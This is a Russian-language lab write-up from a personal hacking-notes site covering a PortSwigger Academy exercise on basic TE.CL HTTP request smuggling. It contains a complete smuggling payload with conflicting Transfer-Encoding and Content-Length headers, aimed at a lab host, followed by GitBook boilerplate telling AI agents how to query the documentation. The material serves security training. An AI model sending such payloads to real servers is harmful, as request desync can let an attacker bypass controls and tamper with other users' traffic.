> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/basic-te-cl-request-smuggling.md).

# Уязвимость контрабанды HTTP-запросов TE.CL

### Смещение HTTP-запросов, базовая уязвимость TE.CL

В этом сценарии приложение использует фронтальный сервер и внутренний сервер.  **сервер back-end не поддерживает блочную кодировку**, в то время как **сервер front-end принимает только методы GET и POST** методы. Это различие в поведении позволяет нам эксплуатировать уязвимость типа **TE.CL**, где фронтальный сервер интерпретирует запрос в соответствии с заголовком Transfer-Encoding, а внутренний сервер ориентируется на Content-Length.

#### **Цель лабораторной работы**

Вставьте запрос в HTTP-поток так, чтобы следующий **обработанный сервером back-end запрос, казалось, использует `GPOST`** метод, что подтверждает успешное прохождение лабораторной работы.

#### **Важные замечания**

* Хотя лабораторная работа поддерживает HTTP/2, ожидаемая техника основана исключительно на механизмах, специфичных для **HTTP/1**. Поэтому при необходимости протокол следует вручную изменить в Burp Repeater.
* С полями длины может быть трудно правильно работать.  **HTTP Request Smuggler** расширение, доступное в BApp Store, облегчает эту задачу.

#### **Пример полезной нагрузки, эксплуатирующей TE.CL**

В этой атаке фронтальный сервер интерпретирует сообщение в режиме chunked, тогда как сервер back-end определяет конец запроса по Content-Length, что позволяет внедрить второй запрос:

```http
POST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Content-Length: 20

test=test
0


```

<figure><img src="/files/8c45611586fb352e16f396eb286458264f7216e0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/basic-te-cl-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
